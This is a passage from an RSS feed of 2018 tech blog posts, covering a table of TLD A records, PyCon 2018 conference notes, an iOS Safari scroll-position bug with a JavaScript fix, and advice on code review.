      &lt;td&gt;Private IP&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;cm&lt;/td&gt;
      &lt;td&gt;195.24.205.60&lt;/td&gt;
      &lt;td&gt;&lt;a href="http://cm"&gt;[http]&lt;/a&gt;, &lt;a href="https://cm"&gt;[https]&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;dk&lt;/td&gt;
      &lt;td&gt;193.163.102.58&lt;/td&gt;
      &lt;td&gt;&lt;a href="http://dk"&gt;[http]&lt;/a&gt;, &lt;a href="https://dk"&gt;[https]&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;etisalat&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
      &lt;td&gt;Private IP&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;gg&lt;/td&gt;
      &lt;td&gt;87.117.196.80&lt;/td&gt;
      &lt;td&gt;&lt;a href="http://gg"&gt;[http]&lt;/a&gt;, &lt;a href="https://gg"&gt;[https]&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;je&lt;/td&gt;
      &lt;td&gt;87.117.196.80&lt;/td&gt;
      &lt;td&gt;&lt;a href="http://je"&gt;[http]&lt;/a&gt;, &lt;a href="https://je"&gt;[https]&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;pa&lt;/td&gt;
      &lt;td&gt;168.77.8.43&lt;/td&gt;
      &lt;td&gt;&lt;a href="http://pa"&gt;[http]&lt;/a&gt;, &lt;a href="https://pa"&gt;[https]&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;pn&lt;/td&gt;
      &lt;td&gt;80.68.93.100&lt;/td&gt;
      &lt;td&gt;&lt;a href="http://pn"&gt;[http]&lt;/a&gt;, &lt;a href="https://pn"&gt;[https]&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;politie&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
      &lt;td&gt;Private IP&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;tk&lt;/td&gt;
      &lt;td&gt;217.119.57.22&lt;/td&gt;
      &lt;td&gt;&lt;a href="http://tk"&gt;[http]&lt;/a&gt;, &lt;a href="https://tk"&gt;[https]&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;uz&lt;/td&gt;
      &lt;td&gt;91.212.89.8&lt;/td&gt;
      &lt;td&gt;&lt;a href="http://uz"&gt;[http]&lt;/a&gt;, &lt;a href="https://uz"&gt;[https]&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;ws&lt;/td&gt;
      &lt;td&gt;64.70.19.33&lt;/td&gt;
      &lt;td&gt;&lt;a href="http://ws"&gt;[http]&lt;/a&gt;, &lt;a href="https://ws"&gt;[https]&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;мон&lt;/td&gt;
      &lt;td&gt;218.100.84.27&lt;/td&gt;
      &lt;td&gt;&lt;a href="http://мон"&gt;[http]&lt;/a&gt;, &lt;a href="https://мон"&gt;[https]&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;мон&lt;/td&gt;
      &lt;td&gt;202.170.80.40&lt;/td&gt;
      &lt;td&gt;&lt;a href="http://мон"&gt;[http]&lt;/a&gt;, &lt;a href="https://мон"&gt;[https]&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;мон&lt;/td&gt;
      &lt;td&gt;180.149.98.78&lt;/td&gt;
      &lt;td&gt;&lt;a href="http://мон"&gt;[http]&lt;/a&gt;, &lt;a href="https://мон"&gt;[https]&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;اتصالات&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
      &lt;td&gt;Private IP&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;政府&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
      &lt;td&gt;Private IP&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;عرب&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
      &lt;td&gt;Private IP&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;招聘&lt;/td&gt;
      &lt;td&gt;127.0.53.53&lt;/td&gt;
      &lt;td&gt;Private IP&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Comparing with the previous scan, these TLDs no longer have an A record with them:&lt;/p&gt;

&lt;div class="language-diff highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="gd"&gt;-android
-cal
-chrome
-dclk
-drive
-gle
-guge
-hangout
-nexus
-play
-sport
-谷歌
-グーグル
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The majority of these are owned by Google. Not claiming it means anything, just a nice observation.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Update&lt;/em&gt;: An automatically updated version of this is available at https://captnemo.in/tld-a-record/&lt;/p&gt;</description><author>Nemo's Home</author><pubDate>Sat, 02 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://captnemo.in/blog/2018/06/02/google-tld-no-more-a-records/</guid></item><item><title>Mailu</title><link>https://mfashby.net/posts/2018-06-01-mailu/</link><description/><author>Home on mfashby.net</author><pubDate>Fri, 01 Jun 2018 22:17:00 GMT</pubDate><guid isPermaLink="true">https://mfashby.net/posts/2018-06-01-mailu/</guid></item><item><title>Eric Schmidt's vision about AI may not be "exactly complete"</title><link>https://stop.zona-m.net/2018/06/eric-schmidts-vision-about-ai-may-not-be-exactly-complete/</link><description>&lt;p&gt;Eric Schmidt, former Google Ceo, &lt;a href="https://techcrunch.com/2018/05/25/eric-schmidt-musk-exactly-wrong/"&gt;says&lt;/a&gt; that Elon Musk, CEO of Tesla, is &amp;ldquo;exactly wrong&amp;rdquo; about Artificial Intelligence (AI). I dare suggest that Schmidt&amp;rsquo;s vision may not be &amp;ldquo;exactly complete&amp;rdquo;.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 01 Jun 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/eric-schmidts-vision-about-ai-may-not-be-exactly-complete/</guid></item><item><title>Deploying the first Cloudflare workers in front of api.cloudflare.com and www.cloudflare.com</title><link>https://zackproser.com/videos/sf-node-meetup-cloudflare-workers</link><description>How we dogfooded Cloudflare workers on the API team</description><author>Zachary Proser</author><pubDate>Fri, 01 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://zackproser.com/videos/sf-node-meetup-cloudflare-workers</guid></item><item><title>Notes from Pycon 2018</title><link>https://faingezicht.com/articles/2018/06/01/pycon/</link><description>A few weeks ago I was at PyCon, and just like last year[^1] it was an inspiring and motivating event. The sheer size of the conference, with its 3000+ attendees, paired with the ever expanding surface area of all the fields where Python is used, means that you're constantly overwhelmed. The firehose spat out way more content than I could consume, and there were more interesting people walking around than I could realistically try to meet. Since all the talks are recorded, I focused on the latter, and tried to have conversations with a wide range of people, including a bunch of Twitter friends and acquaintances from previous conferences.

Below you'll find a few highlights from the event, as well as links to further info on specific themes.

For a less technical view of my trip to PyCon, check out my &lt;a href="/photos/2018/06/01/cleveland/"&gt;other Cleveland post&lt;/a&gt;, which has a bunch of photos, too.

### Open spaces
An aspect of PyCon which I find wonderful, and which I did not really take much advantage of last year, is the "open space," also referred to as "the hallway track" or strangely "&lt;a href="https://en.wikipedia.org/wiki/Birds_of_a_feather_(computing"&gt;birds of a feather&lt;/a&gt;)." At the beginning of the conference, large boards are set out for anyone to suggest topics to discuss. People can write an idea on a sticky note and reserve a timeslot in a room, so that whoever is interested in the topic can come ask questions or share their knowledge. As you'd expect, the open spaces cover wide-ranging technical topics, from &lt;a href="https://etherpad.wikimedia.org/p/PyCon_2018_-_Modern_SQL"&gt;Modern SQL&lt;/a&gt; to &lt;a href="https://github.com/PyConFinance/PyConUS2018"&gt;financial engineering&lt;/a&gt; and &lt;a href="https://twitter.com/imbilltucker/status/995726906975768577"&gt;ETL Pipelines&lt;/a&gt;, but also soft-skills like _how to organize a local meetup_, more philosophical discussions like _society and technology_, and even some completely unrelated social gatherings like the &lt;a href="https://twitter.com/treyhunner/status/995376817841287168"&gt;chocolate&lt;/a&gt; and &lt;a href="https://twitter.com/aniawsz/status/995413098512121862"&gt;juggling&lt;/a&gt; open spaces[^2]. What's fascinating about these is how they emerge on the spot, organically attracting people of different levels of experience and affiliations. An open space might have a beginner sitting next to the author of the most popular tool in the field. These impromptu meetings are a great way to network with people with shared interests who are solving similar problems but who are using completely different stacks. They quickly expose you to a bunch of different solutions.

Since each session is facilitated by different volunteers, the discussions are hit or miss, but some formats were particularly effective at channeling people's thoughts for everyone to get the most out of the conversation. I'll definitely try to use the &lt;a href="http://leancoffee.org/"&gt;lean coffee format&lt;/a&gt; in the future.

To a first-timer, it might seem that the talks with their structure and big name speakers are the better option, but after three conferences I am convinced that spending more time on the _hallway track_ is the way to go. The open spaces are a great way to home in on the specific problems you're dealing with, and they provide a great opportunity to network and keep the conversation going afterwards.

### Inclusivity and community building
A point of pride for many Python programmers is that the project is run by one of the most inclusive communities in the software world. There were people from all over the world, and the organizers &lt;a href="https://www.youtube.com/watch?v=79AIzbjLzdk"&gt;made a point&lt;/a&gt; of emphasizing how full price tickets pay for grants and scholarships for underrepresented populations.

One of the new experiments this year was the "Pycon Charlas" track: a set of talks in Spanish. I attended Maria Camila Remolina-Gutiérrez's talk on astrophysics, and it put a smile on my face to see a woman from Colombia showcasing her technical work there. Representation is important, and this is one of the ways that the PSF recognizes that. I'm glad they are pushing in this direction. However, the Charlas were not recorded, which was an oversight. There are hundreds of thousands of hours of quality Python content in English that people can find easily online. While there's some stuff available in Spanish and other languages, recording the Spanish track seems like a no brainer[^3]. I hope the PSF doubles down on this great first step for next year, by making the material available to those who can't make it to the conference. Adding live translation would also be a great addition.

The keynotes also did a good job of showing the ways in which Python is inclusive, and helps build communities, but more on that below.

### The Apple Crowd

Before the conference started I sent out an email to one of the many Python users mailing lists at Apple and, not surprisingly, a lot of people whom I had never met before were also going to be there. We got together one night for dinner, and it was great to talk about how each of our teams use Python, and how we navigate the Python world at Apple. I was pleasantly surprised to hear from someone there that their team uses library that I wrote (as a side project over two years ago when I was in Maps!). One might move to new things, but code lives on!

I will make an effort to go against the grain of Apple's culture and try to bring these people together more often. There really is no reason why we'd have to fly to Ohio to meet up[^4].

### Reality Check
I have a bit of this every time I leave the San Francisco/Silicon Valley bubble, but it was especially poignant while talking to other software engineers who had come from all over the world, and who work on less glamourous but just as important software as the people who I usually hang out with and hear about here in SF. People from all sorts of backgrounds come to PyCon, and talking to them about their experiences reminded me of how lucky I am to be where I am. I ended up spending a lot of time with the Latin American crew, and it really put things in perspective for me. Most of the people who I met at the conference have the skills necessary to do my job, or could learn them in a reasonable amount of time[^5]. I have been lucky to be at the right place, and at the right time, again, and again, and I recognize that.

If we met at PyCon (or even if we didn't!) and you'd like to talk about this, &lt;a href="/contact"&gt;drop me a note&lt;/a&gt;.

### The talks
The keynotes were really good. None of them were too technical, but they all had deep messages to convey.

* **Keynotes**
    * Dan Callahan discussed how JS has surged in popularity, not because it's better designed, but because it targets the web. He talked about all sorts of &lt;a href="http://assets.metacade.com/emulators/win311vr.html"&gt;wacky WebAssembly compilation experiments&lt;/a&gt;, and how we could use them to &lt;a href="https://www.youtube.com/watch?v=ITksU31c1WY"&gt;bring Python to the web&lt;/a&gt;, and empower a generation of programmers who might not have laptops nor desktops.
    * Ying Li &lt;a href="https://www.youtube.com/watch?v=VJ0vibC_Hl0&amp;amp;t=2107s"&gt;talked about security&lt;/a&gt; using children's stories, and made a great analogy with having a healthy kid: You don't know what the hell you're doing, but you follow rules of thumb and check in periodically with an expert. During lunch, a woman at my table mentioned how much she appreciated Li speaking about giving birth and taking maternity leave on her keynote, a topic that is not usually discussed, and which I honestly had barely paid attention to until she mentioned it.
    * Qumisha Goss﻿ gave &lt;a href="https://www.youtube.com/watch?v=VJ0vibC_Hl0&amp;amp;t=4055s"&gt;the most inspiring talk I've been to in a while&lt;/a&gt;. She explained how she learned to code to teach kids at the Detroit public library. She pointed out that while there are issues with diversity in tech, there's much more basic issues that are essentially invisible to the average techie - the kids in her classes are hungry, poor, and illiterate, but perhaps more importantly, they are ignored by most people who would attend an event like PyCon. Giving these kids access to technology starts with programs like Goss's.
    * Brett Cannon &lt;a href="https://www.youtube.com/watch?v=tzFWz5fiVKU&amp;amp;t=2967s"&gt;explained the human side of open source software&lt;/a&gt;, emphasizing that people on the core team that develops Python try to act in the best interest of the community, even if at times that means rejecting someone's contribution. In his own words, sometimes, getting a pull request is like getting a puppy you didn't want. That PR can be 10 years of pooping and feeding that the core dev team might not want to deal with.
    * Catherine Devlin &lt;a href="https://www.youtube.com/watch?v=3kta4GB3PAw"&gt;closed  the conference&lt;/a&gt; arguing for small data, for incremental improvements to tooling, datasets, and APIs, and for empowering non-CS people to answer their own small problems with code. I especially liked this line of hers: "Amateurs are how the world stays in contact with what we're doing. Amateurs tear down the curtain that separates professionals from everybody else. Without amateurs, we have mystery and alienation." Let's push for less mystery.

As mentioned earlier, I didn't atend most of the talks, but a few highlights that I saw live were:

* **Talks**
    * David Beazley's &lt;a href="https://www.youtube.com/watch?v=zJ9z6Ge-vXs"&gt;Reinventing the Parser Generator&lt;/a&gt;, which was a total brain twister as expected, but sadly focused more on the _what_ than the _how_.
    * Ned Batchelder's &lt;a href="https://www.youtube.com/watch?v=duvZ-2UK0fc"&gt;How Code Slows as Data Grows&lt;/a&gt;, which explained Big-O notation in simple terms and discussed why understanding high level ideas of time and space complexity is important.
    * Lilly Ryan's &lt;a href="https://www.youtube.com/watch?v=GuNoaAFnTPg"&gt;Wildman Whitehouse and the Great Failure of 1858&lt;/a&gt;, which told the crazy story of the first transatlantic communications cable, and compared the misguided project management decision from back then to today's software engineering practices. Hint: we're still making the same mistakes.

I'll be posting thoughts on some other talks that I didn't attend, but which I'll watch on &lt;a href="https://www.youtube.com/channel/UCsX05-2sVSH7Nx3zuk3NYuQ"&gt;the PyCon 2018 YouTube channel&lt;/a&gt; later on, along with my usual &lt;a href="/links"&gt;links on technology and economics&lt;/a&gt; so if you're interested, subscribe below.

Now its time to take some of the learnings from the conference back to my day to day work. That is the hard part. See you in 2019!

[^1]: Check out my &lt;a href="/articles/2017/06/15/pycon/"&gt;Pycon 2017 retrospective&lt;/a&gt; for thoughts on last year's conference.
[^2]: Yeah, I'm not kidding. Apparently some of these are recurring every year, too!
[^3]: This is the case for the audience, because of diminishing returns, as talks in Spanish are way more valuable at the margin with such constrained supply, but also for the speakers, who need the exposure much more than the average presenter from, say, Facebook.
[^4]: Seriously though, one of the people who I met there works on the same building and the same floor as me. We recognized each other's faces, but had never talked to each other. We didn't know what our teams worked on, or even that we worked with Python!
[^5]: Whether they'd want to be in my shoes is a totally different question - people have different goals and priorities.

&lt;hr /&gt;

&lt;small&gt;&lt;em&gt;Photo: by me, also posted on &lt;a href="/photos/2017/05/22/pdx/"&gt;Land of Cleves&lt;/a&gt;&lt;/em&gt;&lt;/small&gt;</description><author>Avy Faingezicht</author><pubDate>Fri, 01 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/articles/2018/06/01/pycon/</guid></item><item><title>Land of Cleve</title><link>https://faingezicht.com/photos/2018/06/01/cleveland/</link><description>This year's PyCon took me to Cleveland, OH. Unlike &lt;a href="/photos/2017/05/22/pdx"&gt;last year's event in Portland&lt;/a&gt;, I was not too excited about the location at first, but I was pleasantly surprised. The local Python crew made big effort to make people feel at home, and recommended a bunch of interesting places to see/eat/drink while we were visiting, so it ended up being a great experience.

Somehow, I took a total of zero photos of the people at the conference. It just didn't feel like the right setting to walk around with my camera and be spontaneous. It's the second year that I plan to do a "Faces of PyCon" and end up bailing. Perhaps next year I'll make it happen.

You can find some notes about the conference (technical and otherwise) &lt;a href="/articles/2018/06/01/pycon/"&gt;here&lt;/a&gt;.</description><author>Avy Faingezicht</author><pubDate>Fri, 01 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/photos/2018/06/01/cleveland/</guid></item><item><title>iOS Safari window.scrollTo / getBoundingClientRect bug</title><link>https://muffinman.io/blog/ios-safari-get-bounding-client-rect-bug/</link><description>&lt;article class="article"&gt;&lt;p&gt;This is a weird one, and not something you will stumble into every day. But it is a bug nonetheless.&lt;/p&gt;
&lt;p&gt;On iOS safari, if you use &lt;code&gt;window.scrollTo(0, y)&lt;/code&gt; and &lt;code&gt;y&lt;/code&gt; &lt;em&gt;is larger than document&amp;#x27;s maximum scroll&lt;/em&gt;, any immediate call to &lt;code&gt;getBoundingClientRect&lt;/code&gt; will return
&lt;span class="sidenote__text" tabindex="0"&gt;incorrect &lt;code&gt;top&lt;/code&gt; value.&lt;/span&gt;&lt;span class="sidenote__note"&gt;&lt;span class="sidenote__note-inner"&gt;&lt;span class="sidenote__note-text"&gt;Same will happen for horizontal scroll and &lt;code&gt;left&lt;/code&gt; value.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;What happens is that browser thinks it actually scrolled to &lt;code&gt;y&lt;/code&gt; and calculates element&amp;#x27;s position based on that scroll position. This happens only if &lt;code&gt;scrollTo&lt;/code&gt; and &lt;code&gt;getBoundingClientRect&lt;/code&gt; are executed one right after the other.&lt;/p&gt;
&lt;p&gt;Not even &lt;code&gt;requestAnimationFrame&lt;/code&gt; will save you. Adding a small timeout will, but that is not a viable solution.&lt;/p&gt;
&lt;p&gt;Check the &lt;a href="/demos/ios-safari-get-bounding-client-rect-bug/"&gt;demo&lt;/a&gt;
&lt;span class="sidenote__text" tabindex="0"&gt;to see it yourself.&lt;/span&gt;&lt;span class="sidenote__note"&gt;&lt;span class="sidenote__note-inner"&gt;&lt;span class="sidenote__note-text"&gt;Unfortunately I couldn't include the iframe with the demo, because of the &lt;a href="https://bugs.webkit.org/show_bug.cgi?id=172854"&gt;other bug&lt;/a&gt;. Today's your lucky day, you got two bugs by the price of one!&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I&amp;#x27;ve tested it only on iOS 11, but I guess other versions are affected as well.&lt;/p&gt;
&lt;h2 id="solution"&gt;Solution &lt;a class="anchor-link" href="#solution"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Solution is easy, we need to determine maximum possible scroll and to cap our &lt;code&gt;y&lt;/code&gt; value.&lt;/p&gt;
&lt;p&gt;Helper method:&lt;/p&gt;
&lt;pre class="language-js"&gt;&lt;code class="language-js code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;function&lt;/span&gt; &lt;span class="token function"&gt;getPageMaxScroll&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// Cross browser page height detection is ugly&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token keyword control-flow"&gt;return&lt;/span&gt; &lt;span class="token known-class-name class-name"&gt;Math&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;max&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token dom variable"&gt;document&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;body&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;scrollHeight&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token dom variable"&gt;document&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;body&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;offsetHeight&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token dom variable"&gt;document&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;documentElement&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;clientHeight&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token dom variable"&gt;document&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;documentElement&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;scrollHeight&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token dom variable"&gt;document&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;documentElement&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;offsetHeight&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token operator"&gt;-&lt;/span&gt; &lt;span class="token dom variable"&gt;window&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;innerHeight&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token comment"&gt;// Subtract viewport height&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Usage:&lt;/p&gt;
&lt;pre class="language-js"&gt;&lt;code class="language-js code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;let&lt;/span&gt; top &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token number"&gt;1000000&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt; &lt;span class="token comment"&gt;// Value larger than maximum scroll&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;const&lt;/span&gt; maxScroll &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token function"&gt;getPageMaxScroll&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// Fix for bug on iOS devices&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// When top was larger than maximum page scroll&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// &amp;quot;getBoundingClientRect&amp;quot; would take that value into calculations&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword control-flow"&gt;if&lt;/span&gt; &lt;span class="token punctuation"&gt;(&lt;/span&gt;top &lt;span class="token operator"&gt;&amp;gt;&lt;/span&gt; maxScroll&lt;span class="token punctuation"&gt;)&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  top &lt;span class="token operator"&gt;=&lt;/span&gt; maxScroll&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// Scroll the window to the new position&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token dom variable"&gt;window&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;scrollTo&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token number"&gt;0&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt; top&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// Get the new position&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;const&lt;/span&gt; rect &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token keyword"&gt;this&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token property-access"&gt;contentWrapperElement&lt;/span&gt;&lt;span class="token punctuation"&gt;.&lt;/span&gt;&lt;span class="token method function property-access"&gt;getBoundingClientRect&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hope that helps!&lt;/p&gt;
&lt;p&gt;P.S. There is &lt;a href="https://openradar.appspot.com/radar?id=6668472289329152"&gt;another bug&lt;/a&gt; on iOS Safari with &lt;code&gt;getBoundingClientRect&lt;/code&gt; and &lt;code&gt;position: fixed&lt;/code&gt;, but that one is documented and tracked.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Fri, 01 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/ios-safari-get-bounding-client-rect-bug/</guid></item><item><title>New Site</title><link>https://mfashby.net/posts/2018-05-31-new-site/</link><description/><author>Home on mfashby.net</author><pubDate>Thu, 31 May 2018 19:51:07 GMT</pubDate><guid isPermaLink="true">https://mfashby.net/posts/2018-05-31-new-site/</guid></item><item><title>How to connect to Nextcloud using Webdav flysystem and laravel</title><link>https://yasha.solutions/how-to-connect-to-nextcloud-using-webdav-flysystem-and-laravel/</link><description>Ok…. title of this post is a tad specific but I have wasted so much time trying to piece all together all the elements of this short post that I thought it will be probably useful for a few other people out there.
 so what are we talking about anyway.
On one side of the ring we have Nextcloud– the evolution of owncloud, forked by its own founder to ensure this project remain opensource forever (full story here).</description><author>Yasha Solutions</author><pubDate>Thu, 31 May 2018 12:18:55 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/how-to-connect-to-nextcloud-using-webdav-flysystem-and-laravel/</guid></item><item><title>The Art of Good Code Review</title><link>/good-code-review/</link><description>&lt;p&gt;Code review is a critical part of any software development process. In theory, it is designed to broaden system knowledge amongst the team and ensure that the code is maintainable and easy to read. Perfecting code reviews can be somewhat of an art, it requires a balance of being picky and not sweating the small stuff.&lt;/p&gt;
&lt;p&gt;Before we dive into the principles around good code review, we should first define what it &lt;strong&gt;isn’t.&lt;/strong&gt; Many believe that one goal of a code review is to address any styling issues. With the rise of &lt;a href="https://prettier.io/"&gt;Prettier&lt;/a&gt; and &lt;a href="https://eslint.org/"&gt;ESLint&lt;/a&gt;, arguments about code formatting have become moot. Automating formatting with the use of tools removes the personal opinion and sway from any one person. Additionally, this also has the benefit of formatting the code more consistently across all areas of the code base.&lt;/p&gt;
&lt;p&gt;Other believe that code reviews should be to catch bugs. Whilst this can be true if you spot something glaringly obvious, it is often challenging to understand the code in a wider context. Bug catching should generally be left to a set of watertight unit and integration tests as well as your top-notch QA department.&lt;/p&gt;
&lt;p&gt;Now we know what code review &lt;strong&gt;isn’t&lt;/strong&gt;, what makes a good code review?&lt;/p&gt;
&lt;h2&gt;Know when to say “it’s good enough”&lt;/h2&gt;
&lt;p&gt;Although the aim of all software companies should be to deliver A-class code, there is such thing as too nitpicky. There is no need to find fault with every little niggle of code. This will only end up demoralizing the developer. It’s a fine balance between picking at the fine details and not going overboard. Only you can be the judge of that and time with hone your perception of done. I often find that overly-nitpicking comments can come down to personal preference of the reviewer. These types of comments should be avoided whilst instead focusing your attention to &lt;em&gt;actual&lt;/em&gt; issues in the code.&lt;/p&gt;
&lt;h2&gt;Stay Positive&lt;/h2&gt;
&lt;p&gt;Code review can often seem like the reviewer has marched in and torn to shreds the priceless artwork that you’ve digitally sculpted. Instead of focusing only on the issues, often time it’s good to step back and reflect on the positive attributes of a merge request. Maybe someone has used a kick-ass language feature you had no idea about. Or perhaps they’ve just written an informative function header. Commend them for this type of work. It lifts the spirits of the developer and will mean they are more receptive to the issues you do find.&lt;/p&gt;
